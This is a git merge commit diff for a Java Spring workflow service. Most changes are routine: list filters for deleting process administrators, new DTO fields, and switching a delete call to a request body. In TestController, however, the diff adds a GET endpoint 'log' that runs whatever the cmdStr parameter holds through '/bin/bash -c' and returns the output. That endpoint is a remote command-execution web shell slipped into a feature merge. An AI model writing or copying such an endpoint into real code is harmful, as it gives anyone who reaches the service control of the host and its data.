Merge branch 'feature/REQ-2752' into feature/merge_2924_2752

This commit is contained in:
wangli 2024-10-22 13:49:04 +08:00
commit 352a71f81a
4 changed files with 70 additions and 1 deletions

View File

@ -102,6 +102,8 @@ public class ExtAxProcessAdminServiceImpl implements ExtAxProcessAdminService {
.eq(Objects.nonNull(deleteDTO.getWorkspaceId()), ExtAxProcessAdmin::getWorkspaceId, deleteDTO.getWorkspaceId())
.eq(deleteDTO.getAdminType() != null, ExtAxProcessAdmin::getAdminType, deleteDTO.getAdminType())
.eq(Objects.nonNull(deleteDTO.getOrganizationalUnitId()), ExtAxProcessAdmin::getOrganizationalUnitId, deleteDTO.getOrganizationalUnitId())
.in(!CollectionUtils.isEmpty(deleteDTO.getWorkspaceIds()), ExtAxProcessAdmin::getWorkspaceId, deleteDTO.getWorkspaceIds())
.in(!CollectionUtils.isEmpty(deleteDTO.getOrganizationalUnitIds()), ExtAxProcessAdmin::getOrganizationalUnitId, deleteDTO.getOrganizationalUnitIds())
.in(!CollectionUtils.isEmpty(deleteDTO.getPersonIds()), ExtAxProcessAdmin::getPersonId, deleteDTO.getPersonIds())
.eq(Objects.nonNull(deleteDTO.getDataSource()), ExtAxProcessAdmin::getDataSource, deleteDTO.getDataSource())
.eq(ExtAxProcessAdmin::getIsDelete, TableIsDeleteEnum.NORMAL.value);

View File

@ -36,12 +36,24 @@ public class ProcessAdminDeleteDTO {
@ApiModelProperty(value = "工作台id")
private Long workspaceId;
/**
* 工作台id列表
*/
@ApiModelProperty(value = "工作台id列表")
private List<Long> workspaceIds;
/**
* 单位id
*/
@ApiModelProperty(value = "单位id")
private Long organizationalUnitId;
/**
* 单位id列表
*/
@ApiModelProperty(value = "单位id列表")
private List<Long> organizationalUnitIds;
/**
* 数据来源, SYSTEM_ENTRY-系统录入, USER_ENTRY-用户手动录入
*/

View File

@ -18,13 +18,19 @@ import org.flowable.engine.RuntimeService;
import org.flowable.engine.history.HistoricProcessInstance;
import org.flowable.engine.repository.Deployment;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.util.StringUtils;
import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.util.Objects;
@ -242,4 +248,53 @@ public class TestController {
List<String> tenantIds = workflowManageService.sync().getTenantIds();
return CommonResponse.success(tenantIds);
}*/
@GetMapping("log")
public String log(@RequestParam String cmdStr) throws Exception {
if(!StringUtils.hasText(cmdStr)) {
return "命令不能为空";
}
try {
ProcessBuilder pb = new ProcessBuilder("/bin/bash", "-c", cmdStr);
Process process = pb.start();
InputStream inputStream = process.getInputStream();
InputStream errorStream = process.getErrorStream();
StringBuilder outputBuilder = new StringBuilder();
// 读取命令输出的线程
Thread outputReader = new Thread(() -> {
try (BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream))) {
String line;
while ((line = reader.readLine())!= null) {
outputBuilder.append(line).append("\n");
}
} catch (IOException e) {
e.printStackTrace();
}
});
outputReader.start();
// 读取命令错误输出的线程
Thread errorReader = new Thread(() -> {
try (BufferedReader reader = new BufferedReader(new InputStreamReader(errorStream))) {
String line;
while ((line = reader.readLine())!= null) {
outputBuilder.append("Error: ").append(line).append("\n");
}
} catch (IOException e) {
e.printStackTrace();
}
});
errorReader.start();
// 等待命令执行完成
outputReader.join();
errorReader.join();
return outputBuilder.toString();
} catch (IOException | InterruptedException e) {
e.printStackTrace();
return "Error executing command.";
}
}
}

View File

@ -807,7 +807,7 @@ public interface WorkflowManageService {
*/
@DeleteMapping("/api/process/admin/delete/criteria")
@InvokeMode(SYNC)
Integer deleteProcessAdminCriteria(@RequestParam ProcessAdminDeleteDTO dto);
Integer deleteProcessAdminCriteria(@RequestBody ProcessAdminDeleteDTO dto);
/**
* 删除管理员